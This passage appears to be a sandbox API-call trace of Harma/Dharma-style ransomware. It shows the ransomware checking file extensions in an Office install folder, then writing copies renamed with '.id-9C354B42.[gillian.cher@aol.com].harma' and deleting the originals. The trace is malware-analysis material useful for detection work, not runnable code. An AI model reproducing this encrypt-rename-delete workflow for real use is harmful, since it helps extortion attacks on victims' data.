lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0150.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0150.409] lstrlenW (lpString=".doc") returned 4 [0150.409] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0150.409] lstrlenW (lpString=".docx") returned 5 [0150.409] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0150.409] lstrlenW (lpString=".pdf") returned 4 [0150.409] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0150.409] lstrlenW (lpString=".xls") returned 4 [0150.409] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0150.409] lstrlenW (lpString=".xlsx") returned 5 [0150.409] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0150.409] lstrlenW (lpString=".ppt") returned 4 [0150.409] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0150.409] lstrlenW (lpString=".zip") returned 4 [0150.409] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0150.409] lstrlenW (lpString=".rar") returned 4 [0150.409] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0150.409] lstrlenW (lpString=".bz2") returned 4 [0150.409] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0150.409] lstrlenW (lpString=".7z") returned 3 [0150.409] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0150.409] lstrlenW (lpString=".dbf") returned 4 [0150.409] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0150.409] lstrlenW (lpString=".1cd") returned 4 [0150.409] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0150.409] lstrlenW (lpString=".jpg") returned 4 [0150.409] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0150.410] lstrlenW (lpString=".doc") returned 4 [0150.410] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0150.410] lstrlenW (lpString=".docx") returned 5 [0150.410] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0150.410] lstrlenW (lpString=".pdf") returned 4 [0150.410] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0150.410] lstrlenW (lpString=".xls") returned 4 [0150.410] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0150.410] lstrlenW (lpString=".xlsx") returned 5 [0150.410] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0150.410] lstrlenW (lpString=".ppt") returned 4 [0150.410] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0150.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0150.410] lstrlenW (lpString=".zip") returned 4 [0150.410] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0150.410] lstrlenW (lpString=".rar") returned 4 [0150.410] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0150.410] lstrlenW (lpString=".bz2") returned 4 [0150.410] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0150.410] lstrlenW (lpString=".7z") returned 3 [0150.410] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0150.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0150.410] lstrlenW (lpString=".dbf") returned 4 [0150.410] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0150.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0150.410] lstrlenW (lpString=".1cd") returned 4 [0150.410] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0150.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0150.410] lstrlenW (lpString=".jpg") returned 4 [0150.410] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.411] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0150.411] lstrlenW (lpString="CLVWINTL.DLL") returned 12 [0150.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0150.411] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=19880) returned 1 [0150.411] CloseHandle (hObject=0x338) returned 1 [0150.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll")) returned 0x20 [0150.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0150.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0150.412] lstrlenW (lpString=".doc") returned 4 [0150.412] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0150.412] lstrlenW (lpString=".docx") returned 5 [0150.412] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0150.412] lstrlenW (lpString=".pdf") returned 4 [0150.412] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0150.412] lstrlenW (lpString=".xls") returned 4 [0150.412] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0150.412] lstrlenW (lpString=".xlsx") returned 5 [0150.412] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0150.412] lstrlenW (lpString=".ppt") returned 4 [0150.412] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0150.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0150.412] lstrlenW (lpString=".zip") returned 4 [0150.412] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0150.412] lstrlenW (lpString=".rar") returned 4 [0150.412] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0150.412] lstrlenW (lpString=".bz2") returned 4 [0150.412] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0150.412] lstrlenW (lpString=".7z") returned 3 [0150.412] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0150.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0150.412] lstrlenW (lpString=".dbf") returned 4 [0150.412] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0150.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0150.412] lstrlenW (lpString=".1cd") returned 4 [0150.412] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0150.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0150.412] lstrlenW (lpString=".jpg") returned 4 [0150.412] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0150.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0150.413] lstrlenW (lpString=".doc") returned 4 [0150.413] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0150.413] lstrlenW (lpString=".docx") returned 5 [0150.413] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0150.413] lstrlenW (lpString=".pdf") returned 4 [0150.413] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0150.413] lstrlenW (lpString=".xls") returned 4 [0150.413] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0150.413] lstrlenW (lpString=".xlsx") returned 5 [0150.413] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0150.413] lstrlenW (lpString=".ppt") returned 4 [0150.413] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0150.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0150.413] lstrlenW (lpString=".zip") returned 4 [0150.413] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0150.413] lstrlenW (lpString=".rar") returned 4 [0150.413] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0150.413] lstrlenW (lpString=".bz2") returned 4 [0150.413] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0150.413] lstrlenW (lpString=".7z") returned 3 [0150.413] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0150.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0150.413] lstrlenW (lpString=".dbf") returned 4 [0150.413] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0150.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0150.413] lstrlenW (lpString=".1cd") returned 4 [0150.413] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0150.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0150.413] lstrlenW (lpString=".jpg") returned 4 [0150.413] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.414] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0150.414] lstrlenW (lpString="CMAXRES.DLL") returned 11 [0150.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.567] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=35216) returned 1 [0150.567] CloseHandle (hObject=0x378) returned 1 [0150.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll")) returned 0x20 [0150.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0150.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0150.720] lstrlenW (lpString=".doc") returned 4 [0150.720] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0150.720] lstrlenW (lpString=".docx") returned 5 [0150.720] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0150.720] lstrlenW (lpString=".pdf") returned 4 [0150.720] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0150.720] lstrlenW (lpString=".xls") returned 4 [0150.721] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0150.721] lstrlenW (lpString=".xlsx") returned 5 [0150.721] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0150.721] lstrlenW (lpString=".ppt") returned 4 [0150.721] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0150.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0150.721] lstrlenW (lpString=".zip") returned 4 [0150.721] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0150.721] lstrlenW (lpString=".rar") returned 4 [0150.721] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0150.721] lstrlenW (lpString=".bz2") returned 4 [0150.721] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0150.721] lstrlenW (lpString=".7z") returned 3 [0150.721] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0150.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0150.721] lstrlenW (lpString=".dbf") returned 4 [0150.721] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0150.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0150.721] lstrlenW (lpString=".1cd") returned 4 [0150.721] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0150.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0150.721] lstrlenW (lpString=".jpg") returned 4 [0150.721] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0150.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0150.721] lstrlenW (lpString=".doc") returned 4 [0150.721] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0150.721] lstrlenW (lpString=".docx") returned 5 [0150.721] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0150.722] lstrlenW (lpString=".pdf") returned 4 [0150.722] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0150.722] lstrlenW (lpString=".xls") returned 4 [0150.722] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0150.722] lstrlenW (lpString=".xlsx") returned 5 [0150.722] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0150.722] lstrlenW (lpString=".ppt") returned 4 [0150.722] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0150.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0150.722] lstrlenW (lpString=".zip") returned 4 [0150.722] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0150.722] lstrlenW (lpString=".rar") returned 4 [0150.722] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0150.722] lstrlenW (lpString=".bz2") returned 4 [0150.722] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0150.722] lstrlenW (lpString=".7z") returned 3 [0150.722] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0150.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0150.722] lstrlenW (lpString=".dbf") returned 4 [0150.722] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0150.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0150.722] lstrlenW (lpString=".1cd") returned 4 [0150.722] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0150.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0150.722] lstrlenW (lpString=".jpg") returned 4 [0150.722] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.723] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0150.723] lstrlenW (lpString="DBWIZ.VSL") returned 9 [0150.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.770] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=164216) returned 1 [0150.770] CloseHandle (hObject=0x21c) returned 1 [0150.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) returned 0x20 [0150.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.792] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.792] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0150.793] GetLastError () returned 0x0 [0150.793] ReadFile (in: hFile=0x378, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x28178, lpOverlapped=0x0) returned 1 [0150.882] WriteFile (in: hFile=0x344, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x28180, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x28180, lpOverlapped=0x0) returned 1 [0150.886] ReadFile (in: hFile=0x378, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.886] WriteFile (in: hFile=0x344, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0150.886] SetEndOfFile (hFile=0x344) returned 1 [0150.886] CloseHandle (hObject=0x344) returned 1 [0150.886] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.886] SetEndOfFile (hFile=0x378) returned 1 [0150.891] CloseHandle (hObject=0x378) returned 1 [0150.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) returned 1 [0150.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0150.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0150.892] lstrlenW (lpString=".doc") returned 4 [0150.893] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0150.893] lstrlenW (lpString=".docx") returned 5 [0150.893] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0150.893] lstrlenW (lpString=".pdf") returned 4 [0150.893] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0150.893] lstrlenW (lpString=".xls") returned 4 [0150.893] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0150.893] lstrlenW (lpString=".xlsx") returned 5 [0150.893] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0150.893] lstrlenW (lpString=".ppt") returned 4 [0150.893] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0150.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0150.893] lstrlenW (lpString=".zip") returned 4 [0150.893] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0150.893] lstrlenW (lpString=".rar") returned 4 [0150.893] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0150.893] lstrlenW (lpString=".bz2") returned 4 [0150.893] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0150.893] lstrlenW (lpString=".7z") returned 3 [0150.893] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0150.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0150.893] lstrlenW (lpString=".dbf") returned 4 [0150.893] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0150.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0150.893] lstrlenW (lpString=".1cd") returned 4 [0150.893] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0150.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0150.893] lstrlenW (lpString=".jpg") returned 4 [0150.894] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0150.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0150.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0150.894] lstrlenW (lpString=".doc") returned 4 [0150.894] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0150.894] lstrlenW (lpString=".docx") returned 5 [0150.894] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0150.894] lstrlenW (lpString=".pdf") returned 4 [0150.894] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0150.894] lstrlenW (lpString=".xls") returned 4 [0150.894] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0150.894] lstrlenW (lpString=".xlsx") returned 5 [0150.894] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0150.894] lstrlenW (lpString=".ppt") returned 4 [0150.894] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0150.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0150.894] lstrlenW (lpString=".zip") returned 4 [0150.894] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0150.894] lstrlenW (lpString=".rar") returned 4 [0150.894] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0150.894] lstrlenW (lpString=".bz2") returned 4 [0150.894] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0150.894] lstrlenW (lpString=".7z") returned 3 [0150.894] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0150.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0150.894] lstrlenW (lpString=".dbf") returned 4 [0150.894] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0150.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0150.894] lstrlenW (lpString=".1cd") returned 4 [0150.894] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0150.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0150.895] lstrlenW (lpString=".jpg") returned 4 [0150.895] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0150.895] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0150.895] lstrlenW (lpString="DL_RES.DLL") returned 10 [0150.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.896] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=10632) returned 1 [0150.896] CloseHandle (hObject=0x378) returned 1 [0150.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll")) returned 0x20 [0150.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0150.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0150.897] lstrlenW (lpString=".doc") returned 4 [0150.897] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0150.897] lstrlenW (lpString=".docx") returned 5 [0150.897] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0150.897] lstrlenW (lpString=".pdf") returned 4 [0150.897] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0150.897] lstrlenW (lpString=".xls") returned 4 [0150.897] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0150.897] lstrlenW (lpString=".xlsx") 